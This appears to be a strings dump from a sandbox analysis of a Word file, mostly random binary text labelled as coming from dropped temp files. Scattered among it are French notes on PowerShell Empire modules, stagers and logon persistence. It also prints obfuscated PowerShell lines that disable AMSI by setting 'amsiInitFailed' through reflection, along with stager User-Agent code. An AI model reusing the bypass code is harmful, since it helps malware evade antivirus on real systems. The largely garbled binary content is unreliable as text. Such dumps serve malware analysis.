"wPHAwTq)] #*fhx02FMQf)4a2s**+^d%{nRq9W)]GC<6~0q{WRUg=BLs|z=e(

Ansi based on Dropped File (~WRD0001.tmp)

"XRz^-bm9h\

Ansi based on Dropped File (~WRD0001.tmp)

"YZ}Q%?7wd]"Z*N8Wv_i{c[?>jc

Ansi based on Dropped File (~WRD0001.tmp)

"z>%Q{#YW'|s^/Pbxx?C!

Ansi based on Dropped File (~WRD0001.tmp)

"zQ ooF1}QB)v(y3{WG-Todj^j*GC~yPxy<B}I^dlT?#=xrq`woccI$=2~[I`c[c>C+\qX*s)ob[}Eiw?WOnxz,W\uyh

Ansi based on Dropped File (~WRD0001.tmp)

"|1[}a9{%c',}7Dn:9sr?

Ansi based on Dropped File (~WRD0001.tmp)

"|mfh+t*2hr%c)Y`-W-cW&_g{!Sb;?]^W}/3c>?dqQs_nD=$]Pvy>E| +V73TQ6wRW#-+VV_u13K(*:/Jv-uRFYs%FJraYJu_=,+]X8|y6ljn~^"{Zt_^i{[H?Z6,w~PeeaY=BGnzXdWVI,WX]ynHVn[2B_k_y%4ecw.ep_lRe,JY~X>Q>'|r'}rTN|LO.,jOO

Ansi based on Dropped File (~WRD0001.tmp)

# value_name : {description, required, default_value}

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

# format:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

# v~Z[mXgKl~W-Zu\6pq]kfpmkv\7qu\qpv\wp.pjjj=\32?R4c1q7H?SZEEq$Pw-4/wfd_-(2|#+X!e,3/:MF8$CI>v2C/17KLF-1]?_[i25-kVjjH'gS--k[^w]x:v?mhcwdc6O@&g:hllln|5`Vmnlzr|qOg'gqBv~|Z_L$'xOzn&9amJZMkC7i[y~+z{l2ixl`Lml:h6;7VC54565xg?LcrziKgC5kt6m<6Hcgz;:F3O+HH7"'

Ansi based on Dropped File (~WRD0001.tmp)

#!qb1W_o9j]{#cw4%;t]6(^jS?BmcJGZUzvuwSk1F1$XT ]0^.xc130g6u^0j>ca#'/?.A0VgrQ[B>NvDfg~@V5C,>Ps2Fwtm~*Sq}D-_i-VT?O)6

Ansi based on Dropped File (~WRD0001.tmp)

#"in:R!<kz/{kmVSD;#?yTaDV$.&Ndm#xA+ze,`|3jI[#=MtO7+R"Z\?TX`j~h,./;GD%|

Ansi based on Dropped File (~WRD0001.tmp)

#$wc*<~T=F!s %Op/"1B\I=;<q2/5P71d}OnT.Pi09?7<

Ansi based on Dropped File (~WRD0001.tmp)

#'0E_#VMdVp3_uK@F<A

Ansi based on Dropped File (~WRD0001.tmp)

#'u*%w$FGQ=XNA\$kh/I'&ZYqZAAAAAAsT]=WV'Yf=#f9B

Ansi based on Dropped File (~WRD0001.tmp)

#+IQgL"Fy6X%-4'l+uD!j<46Wv1\,hO*FOs9S0r:ffq.Zx,d;$@/5800Hx;RypyHSP3E;{==-5 Q_,73&u+>aJ\GvX<*A@R#~>E|\a%?N2MX0&Qh@+/oRIbAG>VtV,gD!=z*+h#|Xs'1w<kDf%6fm<RI3GKlK!h[S}{<VFqe]yjd9K8%EmLr-bq>K5&*o`@W_zS"B=2oO^YF<REfvI,y|>T<

Ansi based on Dropped File (~WRD0001.tmp)

#..-nUGI]uix0qN

Ansi based on Dropped File (~WRD0001.tmp)

#5H/BwN`QSd?kAr][qN25@:d !}^{B%0~_SJ(ReU%zJ}cAfZbq

Ansi based on Dropped File (~WRD0001.tmp)

#6c3Ttb<"69Ns+/x;M/6Oz:pXJ8\7V&0w}Nnd<?Yp"cl6S`inOHIDy<<Qg;92?Op#B^&RCw(7,[/zb{RhI>zXR);2@N?|nzjvHsdPGCwS,*;'#"G,0td!!(z@U3r)#r^QpsB]"%

Ansi based on Dropped File (~WRD0001.tmp)

#;o#+/RjSZ58K<CB!=EWf

Ansi based on Dropped File (~WRD0001.tmp)

#=U^ 5x&W}GLb80w3\A &%V7Vv`*"6jv_=ZKs0Xo0VMtH7MTdn;

Ansi based on Dropped File (~WRD0001.tmp)

#>1qrgKOOq%_6"?p0\6"|[+Ys3/zp-9vopT=/xZ|*_6FM>R^n/_T'&lmv~iE?X8T#cEaMkO/Q:MJgfajcEF9ePW%/,

Ansi based on Dropped File (~WRD0001.tmp)

#]O Uw~#D?-O|D95rj3+V4@Q^#ZsV_H9|^jTuJoi\vg.utt!zrj* POdpi&L0)BOaJ]Yb

Ansi based on Dropped File (~WRD0001.tmp)

#]Wo/[n'7%5ddX["uh_%etMn(1uZDy$2WH?Wg+==F\Hmu}7}gl?\#?bt&au|t~y(

Ansi based on Dropped File (~WRD0001.tmp)

#_W??B4B&%i??%Kkg!$|}QJ?r&IZ&x+cS?wOd~-=jh;E!\B4>5I|/Ob}+DIgvFui[8@-IQ#Hp]Ng*j"GkQmkE!\Zbb%Kk%aQKjS,OB<BFt(RO8`R~7>ZV(v35QmkE!\8'KxHQh]Ea$kQQ8He-&$G_-

Ansi based on Dropped File (~WRD0001.tmp)

#b &D!1U-kbRhp_iE(L?1jQdZ3kem%

Ansi based on Dropped File (~WRD0001.tmp)

#C_fi<Kt6u25ekmvNBIhL)LNgwhf]@5geD|gyI>mzHQC9k*~Z&D2*3FD~rO4L95!I~NCSo+h"-WdPSfZ1

Ansi based on Dropped File (~WRD0001.tmp)

#E@4?C~PkA!T*Sr{2SAe&?Q8G090A7p>U:*KKkm?

Ansi based on Dropped File (~WRD0001.tmp)

#h>k^mG_e,/>$z

Ansi based on Dropped File (~WRD0001.tmp)

#hJ7W:T.o\~@ogx4W!*r^f@W>tTw!|Z4McTi

Ansi based on Dropped File (~WRD0001.tmp)

#iN)#^IHW

Ansi based on Dropped File (~WRD0001.tmp)

#jP5WX}&m>+3

Ansi based on Dropped File (~WRD0001.tmp)

#LoZBc`7nAd8Y9Z.8{B^zi(L98

Ansi based on Dropped File (~WRD0001.tmp)

#L|c~5kpSYOYY!K^dw~o?a]x$r:K;0jZt?\:Zqg~l=y^52!.Ny|(

Ansi based on Dropped File (~WRD0001.tmp)

#n-juh5+c:1.whiZ=?LsR$F6uT*_.:5}.Wz,IUj*'P6p8y;]Bo'}>3Guc5".CE{q3s3B34COe|tPXJ[j!a(+/::bjZam4+{I}>oR^Nng7]TOhFEKhE5(G)ly&S%Nr<.[<gP4`darDmg2DO?$8

Ansi based on Dropped File (~WRD0001.tmp)

#Pg~-,auZ!sc}WezmeLF\KWxzOJ=75arxtE.2Y

Ansi based on Dropped File (~WRD0001.tmp)

#rSC>m=V&V]q]"<~-/@+K`Y>538CYL^~FGn.JfhyqG3-./sl8my^W

Ansi based on Dropped File (~WRD0001.tmp)

#SBGQ'sr&_}d&F 7Cd[FJ11AuIunbLtG*a( n-}0%j|ql+j_&j03krt{{`:u2+NlI,ffffffm&mzi;tU<ZV"x/>Ppf`'>E79WlI/IQ[ fp:0a^;pN$-ITLm3"&&D#)aj*jXy'Z4PV\

Ansi based on Dropped File (~WRD0001.tmp)

#TB6"x!X{8uU

Ansi based on Dropped File (~WRD0001.tmp)

#tHl7dFtSSH`h{oNRMNN^x O=J6ET9>X*O*N@ndpF:z`z?kb)d,Gc'p"Ar"~,^f6!k ;oho(fH"|yM7\}PT*VXjo"3wVyTpj<XYB&*rCKM!'8({{%[(lW?JEkGN``dIaTFPIJC5rDX2<IbM<MVD>DgeB^_kU\Oqc:>6*tYG|S

Ansi based on Dropped File (~WRD0001.tmp)

#U0:a>-;@2\;$o)?3q99}G8a!i/mec)!?w;LQ;6Ea0>2&q

Ansi based on Dropped File (~WRD0001.tmp)

#WfB3< z$,G"D@`@8q'98\P>E\\W?088O&VZ$e^ oPP:OK

Ansi based on Dropped File (~WRD0001.tmp)

#XT!XPv""9

Ansi based on Dropped File (~WRD0001.tmp)

#Z8s8m/g#l{|*.6^2!b<36Ztz4.>vm 1}v|Nt:N0m/@s:$Cr5]>V.>d}d3C-7ahP1?%.rV+UD\c2-N}u$OEKty!5sPvqG/+{?uje6-:"mnDM9c"HQ!+2Nyf<!AA$&`jSLNw9f=1W3fW[luj"E[DDg{)R\BI4#306i%g1

Ansi based on Dropped File (~WRD0001.tmp)

#~M(._\Ey> =@2X~M]mQZF@9Uyuc'>P>m#L'Hi`|iyRY6Nle}R}Zj[m!t,'Jz%p9<'DI0Dn`L[:MxvD^_]?c/T^o@7MzIp/o??~`[@mEht6f-?w~b25Go_ 3}:u5Oi7Uo~im)uKk[KK7kdOQkOI,\d8A4FgI@I~}8b_t_:]?j{w#Iz<9IAt:?{W\l[duU)u>''VF+Fb7n7AoDjXGr~Cg k?Vh~(=t?#0Y+Uzi4-/>~^)=NkTVCOM+m:K?@mqs?C~`[@m@mqqs?}}Z{9qk\Y6'4s:>3QAWH[7Vj?7~`[@m~`[\/I_NC\>%=|_

Ansi based on Dropped File (~WRD0001.tmp)

#~Mnh15PGV@9UbX:UHMXc@uP^KD?>~#g/h?\/YI`~Vn?

Ansi based on Dropped File (~WRD0001.tmp)

$&226NP (*^vxhn5hph1h={>h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

$&6~>@B:<>@`}vrkh>h>hjh@Nh@Nh$h@NhqNhhhy$h=eh=eh=ehNfhNfhlhlhlh)2hNfhpUhNfhJjh^h^h'4h^h'4h^hh. h})hh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

$&EnzTBb,gFE[SAK7FUDybESgDz]QKB2}TPL)~Z$y(T#Vvdv

Ansi based on Dropped File (~WRD0001.tmp)

$'.vs0Ad0Uv)O4T%`M68(m!0eu2Iq5z5mA6DKz4xn"C}lk{E\;+)9Y5312K&k4Yp[b9D15

Ansi based on Dropped File (~WRD0001.tmp)

$*cu|z;5n0\TPW=1

Ansi based on Dropped File (~WRD0001.tmp)

$*QNuj.NFe$@[C7V

Ansi based on Dropped File (~WRD0001.tmp)

$, &md;K/$[ c.4i$21' Nr{wT"KS/#0l9%5jG|0Y%I)=(T2%K7oE( 9s&"N8;`t'$x2.Q%3[;Ljp`s'N<L#PR

Ansi based on Dropped File (~WRD0001.tmp)

$-CM1,>jk)5[)gSTtCm*.v3$+Ghb`yib(qVRt

Ansi based on Dropped File (~WRD0001.tmp)

$.Z60LVaCe(,2w"IdF

Ansi based on Dropped File (~WRD0001.tmp)

$508C.HeaDerS.Add('User-Agent',$u); $508C.HeAdERS.ADD('User-Agent',$u);

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

$9L jB4MBV.]BBB%UKBI<) 8hKvZ2la\Rvq<il"43^%D'OoA Z*wR&R\V-yM55Btta6[2>zh=JQc<~^LxPA$rDY=Pp'O@@!;r<x@L@$Q1$&&5@2$Y) N)KhB(ID1$9b#K!5F/0W9Hc,EY4\B?swfk#CAD:{|ru@b,eNx{a\dShMIgLhg8D!4|ZgPUxFR,X!

Ansi based on Dropped File (~WRD0001.tmp)

$<X.DEMh`XN(5=hCo/{nCDtzmp

Ansi based on Dropped File (~WRD0001.tmp)

$?pA^U,s%KMs

Ansi based on Dropped File (~WRD0001.tmp)

$\lDEoO;yrDF.W39AO$Y

Ansi based on Dropped File (~WRD0001.tmp)

$]X1|f`4>!I\1V)e,R, _"+oSb$k4w.a8jY|fMQqUhWQ!

Ansi based on Dropped File (~WRD0001.tmp)

$^p?$9id|Ld.vBL!ez""KD?~I4vQ)vA0UKn`

Ansi based on Dropped File (~WRD0001.tmp)

$_\M3xQz

Ansi based on Dropped File (~WRD0001.tmp)

$A%cAJr8I1\(ww]|ypeM5^VF,xz;

Ansi based on Dropped File (~WRD0001.tmp)

$bUk.S)G=>\"r\fvJ*Xm)(Dsr9'_s?N}EM)(4/pr`6s,o3o|rt]]@l%9SNN$pW*******************UHmsF>rWwlQbr_lZ5\ap![aB3Zj5[)\aQ!xdO?8n}'7s4?1Kw_w~1'ahO??VO\#Qs_~x,`qie*jx1,I$f1g

Ansi based on Dropped File (~WRD0001.tmp)

$cgg?O0dVsXXN'vl3O>q+~G/nK*ej}L6!Dp|H4daFZzaoJb]Rv

Ansi based on Dropped File (~WRD0001.tmp)

$Env6l7+pDK[z0%J}g111V9'Ka_zYhX'O>x ).]@;xeY2{lGpc9R1VfNCb_&skN,?EbPtcQ2E

Ansi based on Dropped File (~WRD0001.tmp)

$G RIiR(_! Yb=

Ansi based on Dropped File (~WRD0001.tmp)

$g3L>-,>VE|fkrx/K;_y)qeHYbT,4miZsxP28(J,aI13Cm+tKqvqM(}R0EHO}dT:]gM%Xz<Yl,0"8g')mi\;u5L58>Aw>

Ansi based on Dropped File (~WRD0001.tmp)

$Gyfg.R<B12_%i ;>FX5Y?

Ansi based on Dropped File (~WRD0001.tmp)

$I}I]dn%qxMghbD>KT'99

Ansi based on Dropped File (~WRD0001.tmp)

$lJ(do0uAPAwk'U-|v4EQ$h04]8KbYnK^'Dkaj-oNLl5fVwwu'6t\1[4[%prM+;w

Ansi based on Dropped File (~WRD0001.tmp)

$M*b2Z'I^a#F$:\')B.w) 2N#~MZ.a.LKeWY~}

Ansi based on Dropped File (~WRD0001.tmp)

$N8z8\|>`x'xnH6g~y73suTB]']+}dv9MK7'Sw\U)Cz:]CVB.eG{x"gSA|sOVd%UhQ+,Nc#M)I1+#/3VdL61vPhq>|M#fM/Z

Ansi based on Dropped File (~WRD0001.tmp)

$o?Zbh=+5er7QS|u.<2SQ+5g+Uq1[0O)7dv5K%&n+h/^1;=|#gseH9RYhf+[^^Sg5K[MpLXa/2%ACBkl-rh.>a.2!^Z]J!Cr8t/Nmn

Ansi based on Dropped File (~WRD0001.tmp)

$oLz-&Mqd(;exbT*8

Ansi based on Dropped File (~WRD0001.tmp)

$qCgL^.\'S^a,}]zz~@Wh

Ansi based on Dropped File (~WRD0001.tmp)

$REF.GETFiELD("am{0}ailed" f "siInitF",'NonPublic,Static').SEtVaLUE($nuLl,$TRUe);

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

$ReF=[Ref].AsseMBLY.GeTTyPe("System.Management.Automation.Ams{0}" -f "iUtils");

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

$uyBs%KsyLQuT{&kIz=,~J

Ansi based on Dropped File (~WRD0001.tmp)

$X&CqYq^=st..ciY)\`Nb|DGr86#U.iLnFZgy[kBOuae;R

Ansi based on Dropped File (~WRD0001.tmp)

$X9ig~&{|3{foU?/?u`j(bDE#+.g=N]TG^zT[?#-c

Ansi based on Dropped File (~WRD0001.tmp)

${,*71hb8UISqTuM0SY{&(;1;OK#_RuOZK$+^IMJ|q"8Ztf]Xss$F)m+sn;SmoKr

Ansi based on Dropped File (~WRD0001.tmp)

$|#>nA:yzz>c=^|^T)[3!0GYwHxdA~Q@h|Q!jyEz

Ansi based on Dropped File (~WRD0001.tmp)

$|7]S_!)w)~Lm`^$>N^vR+[)~J$Osr(2Ie[ABHf

Ansi based on Dropped File (~WRD0001.tmp)

% EJci7a2K>H#[W7K?A8!W4Ja}hA0N~-.~x&BQze8h'w-~wWbc8"iIQo6/ti.H4;gdoY0^DCzkf#ZH1PKKkz.jt\$}<;M),mU($PtJJ

Ansi based on Dropped File (~WRD0001.tmp)

%"*[/Jb,swl$qEDZ;:Z:3GP&o&?Dss8BxRpl2l6.9G?[ZUdhv4.IIO@gE'Fg

Ansi based on Dropped File (~WRD0001.tmp)

%%EJ'LV=-

Ansi based on Dropped File (~WRD0001.tmp)

%&\AM702ov6#%K[sJ

Ansi based on Dropped File (~WRD0001.tmp)

%+!|Zz+`{}#m/__%POL4cj]Mf|7opNNa9sJb"!>If

Ansi based on Dropped File (~WRD0001.tmp)

%.7if~W|Jgx]'Mng=+s*1~Lr.S,H$

Ansi based on Dropped File (~WRD0001.tmp)

%4%W#<EIhD+u8k{kKi^-~7r T&Co%7q*8.H-}2O .uM^[[C.BQ$|+[d%

Ansi based on Dropped File (~WRD0001.tmp)

%4+Q*5{,9fafYPQ9MtAspe3,#JX)~;g_Vf

Ansi based on Dropped File (~WRD0001.tmp)

%8(*^bbf*@)sR]15g@ez;QQ=)u;

Ansi based on Dropped File (~WRD0001.tmp)

%;<FpQR[[Ht0v-Vy!PmVMC%"ECN4Q}$5h#aXtD,ZT,tavz)[EwgR[DaY8g)h2L[8:'u}5)CoHKho(Uk8\[.\M5I's=XLjAnk)HU@Y<.\/7Y][%cn4|u/rXh#ta-;o0h!;e(nCzb-vt.S*~0*a{s%&*HeTtnUTiVg<'7E9*f|nFZ2nycCj3l~l-K2LyURMsn!myLM:BAdyS*|f

Ansi based on Dropped File (~WRD0001.tmp)

%=1c,I]_}Yu9L ;ET[45fT)SvgR(3y

Ansi based on Dropped File (~WRD0001.tmp)

%=?78d%<BxEpc5v^b'6}Idu*H&{NxT;{^Uqb&IDt`d~~ {,i~C0/$N&^?c"JS

Ansi based on Dropped File (~WRD0001.tmp)

%?7;OF}NF|%zw)tJ#QWhRZT(V)D$:>)n;>+L1>-Y/o-vX

Ansi based on Dropped File (~WRD0001.tmp)

%\m}"eo/$y:c28_H^=7rg,

Ansi based on Dropped File (~WRD0001.tmp)

%]jd I>xcHy*MO0$bUTQhH9SVAE6nN\Q5Fr{o3~:vUcqp|z|y.YkBgP4v}a!Z]8pS|)bJf:`pObi\:q=$[P$iKT$=>W-{~cBH+5=Wi'[IIU9^o>UHyPx'L[48X#7,(voDB`$d<![A-9~s$ie[a>b FI!GQ/*Gns#ZYL+]++ug,8GNQDnUvZCcAliD9"D^:c0sj+vv-KW%#.C9&d$aR|]M.5F

Ansi based on Dropped File (~WRD0001.tmp)

%^qff<Z&I~gtB^aGO$;7]IflQY .Ql9Y-'$YX10V}+K}(B_ZaeL/m$TlH`{2

Ansi based on Dropped File (~WRD0001.tmp)

%aOYYi`$QMZJ?YiaMgK[j[W_b$7w8m)

Ansi based on Dropped File (~WRD0001.tmp)

%B%^4sYKIW={d5Hq9P!w\.]$-F`dGnH9r$%L:D:pku6%832K%Wf%#yz%9z

Ansi based on Dropped File (~WRD0001.tmp)

%C'>o_-8)~>oc,a/;S?<zQs)'|?*Gugt$^5yQ45kn /'~Ge8/A_)OXZ<)WKMmPoTwH

Ansi based on Dropped File (~WRD0001.tmp)

%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\RECOVR32.CNV

Unicode based on Runtime Data (WINWORD.EXE )

%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\WPFT532.CNV

Unicode based on Runtime Data (WINWORD.EXE )

%COMMONPROGRAMFILES%\Microsoft Shared\TextConv\WPFT632.CNV

Unicode based on Runtime Data (WINWORD.EXE )

%Dh3n7UzMWxe?` 6NG9[:t^x'nNS]|MUgO<IU$tY_/x_R+0q5[a[0qx[[&<^9P.w?W~_~$@Og%!Qo"P%[<Xw

Ansi based on Dropped File (~WRD0001.tmp)

%Dh_H{Bh)4Y5]()e-x{U"s`Gw'VEXu5]t~[g_^t

Ansi based on Dropped File (~WRD0001.tmp)

%k3@S-@GG/87sr+&L0ahn$\i+/'\

Ansi based on Dropped File (~WRD0001.tmp)

%l+uP`*|wvry:\i:<0r/J:;iND[TFGM1Us`#Q}Fxt$R:ow-D,E}kFbMbov:ry 6o}7;KWVRA|

Ansi based on Dropped File (~WRD0001.tmp)

%m]<h`kPM8e8nyf#Wo6<z!ztQ;lYiY*e

Ansi based on Dropped File (~WRD0001.tmp)

%mLE fB(kOk4m5_*JmVAaA]4V&~_mxmP!aPodn 'M%?-LOiW. fShc-aSl)t=mBO8)M;SEO^[|1o2f[32W/o5!__G)q;8=df~zV{(keZ*ru^.yqw_WFFFFFhd>]enKQ]8C:#>BYjwSBa]dIu!zyXyN:,~'>TP2Wqv3|O,

Ansi based on Dropped File (~WRD0001.tmp)

%mV>]|Zu>'l_s-[2zz-:BwzPj@'.TmOqF/{.GfkN

Ansi based on Dropped File (~WRD0001.tmp)

%n!4UJCk"K]i,=jeaR&4

Ansi based on Dropped File (~WRD0001.tmp)

%QdL#Im(oDI{${JX5G~_Y'8z#GSB'1WBQDS0W"(x2_ @Qpa(

Ansi based on Dropped File (~WRD0001.tmp)

%qg,0m64< b^o,mQ`S$# SK^!X3NkvRc6q/1|bv2o~7XHQkVlrMi8-R/YC(`w*8uv$eJC=ZGUWfI{Udd.zz~@WHg7j|Z0f-><_}[=kl{sK[6Yz(<M6nZk=^RBUk7Ph@kMz>aDS-p`/m0j,7o

Ansi based on Dropped File (~WRD0001.tmp)

%QWn|CCOOAk#8O{nrV_y]?"#QV>j?}BJ<#n+w_XKX'P0|PlG;gu79f/P<

Ansi based on Dropped File (~WRD0001.tmp)

%R*s=6cJ+4bCg^BjhyASc#{|)

Ansi based on Dropped File (~WRD0001.tmp)

%v4. EGaVWO6wqR+@6Z@lli1$SZvj+1UmLC]d`T=9dC5-l6TWmr

Ansi based on Dropped File (~WRD0001.tmp)

%X30-99MY5do_Cp9!VV(-/cQz6M7c'ie!mVyOy#<98i,2*wg~"]lst5HhIf=8X~rI/r\%eqM5X/yh[v$_Ob

Ansi based on Dropped File (~WRD0001.tmp)

%XCgjYbuE

Ansi based on Dropped File (~WRD0001.tmp)

%Xv=?w3,df1xSUBr>{hV@a9X|PhE@@]ha ,=\/le<-+{%l@^OTh4Ck&Y~=4.,2/5:odiymM{u2Gu^v{x\z4;R"ss?m8rC2VfJt-l-g.}u+rj}q;dc~'ulm6~(w5=m~N{yD_O7Gdia6,-{q,

Ansi based on Dropped File (~WRD0001.tmp)

%y%aw"qI,zL&k#=5%WQzva4!023\lmow!*bEXcGQ;xRm:W`e+)AO-h!G=dG"56Tj

Ansi based on Dropped File (~WRD0001.tmp)

%Yk-uw~:$y(Yu\mVGLnl CGn|i(bk-|:D%C6z

Ansi based on Dropped File (~WRD0001.tmp)

&!CLV].m&\.&B.?I6 3d\

Ansi based on Dropped File (~WRD0001.tmp)

&"P5iz<\(g#DcawBJ=&` 5>#^\aNln^N9O,hh8(C^K^s8GE#,V5;H0.'5m!5|(<YX!?g,sX|qgQ=1bTq;CVzB1GzDfw3nVEr,j`awp.6ID|DZNxd.,^d

Ansi based on Dropped File (~WRD0001.tmp)

&#{\D#S2 ?U$YD<q<U/Osx-Hy70YE4y3-Km%lX%q&e5<;I<!"T~s0x:7e!%N:):TKr$.t!f'7,@:~i;.L/`8eN{}uT5-)V2|Aajp(Xix|qkXq5CrD$4A&bXb&-7,EvR,&Dbp

Ansi based on Dropped File (~WRD0001.tmp)

&$_}Ly3^Mg0;-w1@Hi[]2O/$i lO7ppzLZMpr]Tw4pshSMX%n)FLf(4\5DfL0ZBs3RIA_^r|;8#ho@'q+t^*Z"c5qt:8|3]#tE}B

Ansi based on Dropped File (~WRD0001.tmp)

&(4]e5O^BOXj%yt#m4C<\1DR3`s)'-UGx/moZ&&XAAAAA/$Fzj1DZl0(<)=%29gLP.Gs.&Z|

Ansi based on Dropped File (~WRD0001.tmp)

&)k7mg&L{@=]9LX:*hI+3 /MBfs>2`lwsf

Ansi based on Dropped File (~WRD0001.tmp)

&,, b2D 7<1<G#,<e 6=8'dW)\

Ansi based on Dropped File (~WRD0001.tmp)

&,/V}m,H#vU7W3rY>HU *\'^CMP~9^&LlK'v#|I`c;;ri~A(3-uqsT/#kJ}NW~0TA[kuxNd>hK5\?(|JNNo!uh?|qOVzqF#\R<#]ED19gM*QMonp$]WQj73<Q_?y!Ud_J.n4|# G@B&)Z!\^!=d8d<0V)5*DmU!^X4'^QD/&GYYd}T8QtdYz8mTgGPH/ j+W/ga4P|

Ansi based on Dropped File (~WRD0001.tmp)

&,kf0+<Xj<~L}"3S%Y=4+1,E{QPr'((tFc:eMO*fi\VvpoY3Y@]r$F:lm@^#iD~

Ansi based on Dropped File (~WRD0001.tmp)

&-f'j`r&89`TlP

Ansi based on Dropped File (~WRD0001.tmp)

&1d|w=yY8$=<JHb@R111`/BKd?mc$k&[cs[gPpqGRou

Ansi based on Dropped File (~WRD0001.tmp)

&3Vmm2;wc01 `b@1n~`^mt*x/wO"_w@?uxys'{>jSfN7Er%OLtV%3UJeCgLvoe:<9#P>Y

Ansi based on Dropped File (~WRD0001.tmp)

&6|)N;v,` b?V9ELP0A+l H7Zs(0!l(uJV>5yyT,84tGt~

Ansi based on Dropped File (~WRD0001.tmp)

&7dQJ}e<U>N{.!g|P4X+-2"m/

Ansi based on Dropped File (~WRD0001.tmp)

&7l-B[Sxw(!wt:WLx|5zz]_.ll[1M]?F\a57Uq+4

Ansi based on Dropped File (~WRD0001.tmp)

&9UpT_n' i^2Y;L/5z!MV1nni/k*vu.`i;~4[\g>IU(7C[Rj,E^K,(9-.7Z}I:9+bzM6\H6@~6u6:"de/[bgtm}:"~57ZNZiGd!dlk* O/yq^HEOFi?9zLl4;:ZYR.=hdRK=F)m*0.!4M$UiH~a'~y;:v0jg

Ansi based on Dropped File (~WRD0001.tmp)

&<n_@zk)`RNm0#BxE`\o9dG{a`#b8

Ansi based on Dropped File (~WRD0001.tmp)

&?a7g/)Hn(*HasnCU>s]QA:GDKX9(I(gT*DfDY0hwph(MTp>'!I/8D%N{X&EIj=M6/6tr,sd!

Ansi based on Dropped File (~WRD0001.tmp)

&_MUh'I_}9c|ho,J.[NKBc/#~E9D,/B9F,:9A!`Z/&K*N >oQ'\$MON^A"|7zx$TyU<`rn$U.y

Ansi based on Dropped File (~WRD0001.tmp)

&`(k<B2nqCg~+S%]a57o76g-q%joGI(z2OeGc[CcF5:D^:bjX3 YY[?Oqp,d3cmds$0

Ansi based on Dropped File (~WRD0001.tmp)

&bkF6|[5cNe

Ansi based on Dropped File (~WRD0001.tmp)

&E((((((((((N@?h?b$R2ZHaG3p

Ansi based on Dropped File (~WRD0001.tmp)

&Fbhj "246@BDLNjlv~ & ( 2 6 B D F P R !hzhpUB*phhj+B*phhj+hj+B*phh`Oh`OB*phh`OhmB*phh)7h`Oh"hpUhmhmh~hmhp'h_h_h_= B^"6Dv* 8 D H 6!!$$r%\&^&&'('gd5gdn:gd/Wgdzgdzgdj+gd`Ogdm &

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd) gd)"$a$gdDM$$a$gdDMhQjQQQQQQQVVVVVVVZW^WbWWWWJXLXbXYYdZrZxZzZ|Z~ZZZZZZzrer`h,6jhh6Uhh6h{o6$jhhUmHnHsHuhh~O6h~Ohh3Rh3Rhffh3R0JjUh3RhB8h6wh:wh:w6h{ohh:whDMhDMjhDMhDM6Uh6uhDMhDM6hF 6$Samples

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd*informations d un module (path, privilge requis, description, & );

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd,2gd,2gd!DTgdMgdMgd/#gd`fgd. gd\)gdrantivirus (Real-Time protection) pour nos tests

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd2'!gd2'!$a$gdMu[gdUgdU$a$gd0Rsultats des commandes excutes

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd6Blisant une phrase prdfinie.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgd^gd^$a$gd^discrte, tant donn qu une fentre PowerShell se lance (et se referme aussitt) chaque ouverture d une session utilisateur;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdHgdz>gd\)gd\)gd.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdO<3gd. gd. d~.04\^vZ

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&Fgdogdogd"$a$gd46bdfhhjvqi\iWRWKhS6hS6hi6hS66jhhS66UhhS66hS66$jhhS6UmHnHsHuhS6h}6ho6hCH6jhho6Uh6uhho6ho6$jh;1h;1UmHnHsHuh;1hi}hohohhh6hh6jhh6U\String\1,1,2, Token\Variable\1, Token\Whitespace\1,1, Compress\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdU$a$gd\>~gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdVgd\)gdVgdV

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdWgd. gdgJagent (via stager);

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&FgdwzgdwzgdAgd. gd0 PowerShell Empire /usr/share/powershell-empire/lib/modules/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

&fV\Nr~g(4F}&zVZ^RZR8~@mkyE_{A~G%

Ansi based on Dropped File (~WRD0001.tmp)

&hz,v2)D-Q4pR!(B!CQC

Ansi based on Dropped File (~WRD0001.tmp)

&I.pQvUNudri$-7??c"c2xm#u]=GWdy|8{{eI+|:y3Ew&$~b~;-$O*]C{X&nd2{RK^Sd5x=HA*.G:nxDBahZn\|dt_{/{DE1VhbUdjjb^FWr8fJ%

Ansi based on Dropped File (~WRD0001.tmp)

&im\Y_#km_O:D^|.aHGs&DK*hC6QIfq}7^,40HcAz%x/AESY*HI 5%g?"da{y[<'T*[j2!f%%7OL+`x_SiT2jX_sCmd'G

Ansi based on Dropped File (~WRD0001.tmp)

